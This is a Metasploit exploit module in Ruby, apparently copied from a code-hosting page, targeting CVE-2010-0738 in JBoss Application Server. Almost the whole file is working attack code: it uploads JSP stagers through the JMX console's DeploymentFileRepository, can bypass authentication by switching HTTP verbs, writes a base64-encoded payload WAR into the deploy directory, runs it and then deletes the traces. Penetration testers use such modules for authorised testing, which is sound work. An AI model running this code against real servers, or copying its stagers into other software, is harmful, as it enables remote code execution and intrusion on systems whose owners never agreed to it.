425 lines
12 KiB
Ruby
425 lines
12 KiB
Ruby
# -*- coding: binary -*-
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'JBoss Java Class DeploymentFileRepository WAR Deployment',
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'Description' => %q{
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This module uses the DeploymentFileRepository class in
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JBoss Application Server (jbossas) to deploy a JSP file
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which then deploys the WAR file.
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},
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'Author' => [ 'MC', 'Jacob Giannantonio', 'Patrick Hof', 'h0ng10' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2010-0738' ], # by using VERB other than GET/POST
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[ 'OSVDB', '64171' ],
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[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
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[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
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],
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'Privileged' => false,
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'Platform' => ['java', 'linux', 'win' ],
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'Targets' =>
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[
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#
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# do target detection but java meter by default
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# detect via /manager/serverinfo
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#
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[ 'Automatic (Java based)',
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{
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'Arch' => ARCH_JAVA,
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'Platform' => 'java',
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} ],
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#
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# Platform specific targets only
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#
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[ 'Windows Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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},
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],
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[ 'Linux Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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},
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],
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#
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# Java version
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#
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[ 'Java Universal',
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{
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'Platform' => 'java',
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'Arch' => ARCH_JAVA,
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}
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]
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],
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'DisclosureDate' => "Apr 26 2010",
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
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OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
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OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
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OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
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OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
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OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
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], self.class)
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end
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def exploit
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jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
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app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
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stager_base = rand_text_alpha(8+rand(8))
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head_stager_jsp = rand_text_alpha(8+rand(8))
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stager_jsp = rand_text_alpha(8+rand(8))
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content_var = rand_text_alpha(8+rand(8))
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decoded_var = rand_text_alpha(8+rand(8))
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file_path_var = rand_text_alpha(8+rand(8))
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jboss_home_var = rand_text_alpha(8+rand(8))
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fos_var = rand_text_alpha(8+rand(8))
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bw_var = rand_text_alpha(8+rand(8))
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p = payload
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mytarget = target
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if (datastore['VERB'] == 'HEAD')
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print_status("Unable to automatically select a target with HEAD requests")
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else
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if (target.name =~ /Automatic/)
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mytarget = auto_target()
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if (not mytarget)
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fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target")
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end
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print_status("Automatically selected target \"#{mytarget.name}\"")
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else
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print_status("Using manually select target \"#{mytarget.name}\"")
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end
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arch = mytarget.arch
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end
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# set arch/platform from the target
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plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
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# We must regenerate the payload in case our auto-magic changed something.
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return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
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# Generate the WAR containing the payload
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war_data = p.encoded_war({
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:app_name => app_base,
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:jsp_name => jsp_name,
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:arch => mytarget.arch,
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:platform => mytarget.platform
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}).to_s
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encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
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# The following jsp script will write the stager to the
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# deploy/management directory. It is only used with HEAD/GET requests
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# to overcome the size limit in those requests
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head_stager_jsp_code = <<-EOT
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<%@page import="java.io.*,
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java.util.*"
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%>
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<%
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String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
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String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
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if (request.getParameter("#{content_var}") != null) {
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try {
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String #{content_var} = "";
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#{content_var} = request.getParameter("#{content_var}");
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FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
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BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
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#{bw_var}.write(#{content_var});
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#{bw_var}.close();
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}
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catch(Exception e)
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{
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}
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}
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%>
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EOT
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# The following jsp script will write the exploded WAR file to the deploy/
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# directory or try to delete it
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stager_jsp_code = <<-EOT
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<%@page import="java.io.*,
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java.util.*,
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sun.misc.BASE64Decoder"
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%>
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<%
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String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
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String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
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try {
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String #{content_var} = "#{encoded_payload}";
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byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
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FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
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#{fos_var}.write(#{decoded_var});
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#{fos_var}.close();
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}
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catch(Exception e)
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{
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}
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%>
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EOT
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# Depending on the type on the verb we might use a second stager
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if datastore['VERB'] == "POST" then
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print_status("Deploying stager for the WAR file")
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res = upload_file(stager_base, stager_jsp, stager_jsp_code)
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else
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print_status("Deploying minimal stager to upload the payload")
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res = upload_file(stager_base, head_stager_jsp, head_stager_jsp_code)
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head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
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# We split the stager_jsp_code in multipe junks and transfer on the
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# target with multiple requests
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current_pos = 0
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while current_pos < stager_jsp_code.length
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next_pos = current_pos + 5000 + rand(100)
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junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos])
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print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})")
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res = call_uri_mtimes(head_stager_uri + junk)
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current_pos += next_pos
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end
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end
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# Call the stager to deploy the payload war file
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# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
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# but the file still gets written.
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if (res.code == 200 || res.code == 500)
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print_status("Calling stager to deploy the payload warfile (might take some time)")
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stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
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stager_res = call_uri_mtimes(stager_uri)
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print_status("Try to call the deployed payload")
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# Try to execute the payload by calling the deployed WAR file
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payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
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payload_res = call_uri_mtimes(payload_uri)
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#
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# DELETE
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#
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# The WAR can only be removed by physically deleting it, otherwise it
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# will get redeployed after a server restart.
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print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
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print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD"
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delete_res = []
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delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp')
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delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp')
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delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
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delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
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delete_res.each do |res|
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if !res
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print_warning("WARNING: Unable to remove WAR [No Response]")
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elsif (res.code < 200 || res.code >= 300)
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print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
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end
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end
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handler
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end
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end
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# Upload a text file with DeploymentFileRepository.store()
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def upload_file(base_name, jsp_name, content)
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data = 'action=invokeOpByName'
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data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
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data << '&methodName=store'
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data << '&argType=java.lang.String'
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data << '&arg0=' + Rex::Text.uri_encode(base_name) + '.war'
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data << '&argType=java.lang.String'
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data << '&arg1=' + jsp_name
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data << '&argType=java.lang.String'
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data << '&arg2=.jsp'
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data << '&argType=java.lang.String'
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data << '&arg3=' + Rex::Text.uri_encode(content)
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data << '&argType=boolean'
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data << '&arg4=True'
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if (datastore['VERB'] == "POST")
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res = send_request_cgi(
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{
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'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
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'method' => datastore['VERB'],
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'data' => data
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}, 5)
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else
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res = send_request_cgi(
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{
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'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}",
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'method' => datastore['VERB'],
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}, 30)
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end
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res
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end
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# Delete a file with DeploymentFileRepository.remove().
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def delete_file(folder, name, ext)
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data = 'action=invokeOpByName'
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data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
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data << '&methodName=remove'
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data << '&argType=java.lang.String'
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data << '&arg0=' + folder
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data << '&argType=java.lang.String'
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data << '&arg1=' + name
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data << '&argType=java.lang.String'
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data << '&arg2=' + ext
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if (datastore['VERB'] == "POST")
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res = send_request_cgi(
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{
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'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
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'method' => datastore['VERB'],
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'data' => data
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}, 5)
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else
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res = send_request_cgi(
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{
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'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}",
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'method' => datastore['VERB'],
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}, 30)
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end
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res
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end
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# Call the URL multiple times until we have hit
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def call_uri_mtimes(uri, num_attempts = 5)
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verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
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# JBoss might need some time for the deployment. Try 5 times at most and
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# wait 5 seconds inbetween tries
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num_attempts.times do |attempt|
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res = send_request_cgi({
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'uri' => uri,
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'method' => verb
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}, 30)
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stripped_uri = uri[0,70] + "..."
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msg = nil
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if (!res)
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msg = "Execution failed on #{stripped_uri} [No Response]"
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elsif (res.code < 200 or res.code >= 300)
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msg = "http request failed to #{stripped_uri} [#{res.code}]"
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elsif (res.code == 200)
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print_status("Successfully called '#{stripped_uri}'") if datastore['VERBOSE']
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return res
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end
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if (attempt < num_attempts - 1)
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msg << ", retrying in 5 seconds..."
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print_status(msg) if datastore['VERBOSE']
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select(nil, nil, nil, 5)
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else
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print_error(msg)
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return res
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end
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end
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end
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def auto_target
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print_status("Attempting to automatically select a target...")
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res = query_serverinfo
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if not (plat = detect_platform(res))
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fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
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end
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if not (arch = detect_architecture(res))
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fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!')
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end
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# see if we have a match
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targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
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# no matching target found, use Java as fallback
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java_targets = targets.select {|t| t.name =~ /^Java/ }
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return java_targets[0]
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end
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def query_serverinfo
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path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
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res = send_request_raw(
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{
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'uri' => path,
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'method' => datastore['VERB']
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}, 20)
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if (not res) or (res.code != 200)
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print_error("Failed: Error requesting #{path}")
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return nil
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end
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res
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end
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# Try to autodetect the target platform
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def detect_platform(res)
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if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
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os = $1
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if (os =~ /Linux/i)
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return 'linux'
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elsif (os =~ /FreeBSD/i)
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return 'linux'
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elsif (os =~ /Windows/i)
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return 'win'
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end
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end
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nil
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end
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# Try to autodetect the target architecture
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def detect_architecture(res)
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if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
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arch = $1
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if (arch =~ /(x86|i386|i686)/i)
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return ARCH_X86
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elsif (arch =~ /(x86_64|amd64)/i)
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return ARCH_X86
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end
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end
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nil
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end
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end
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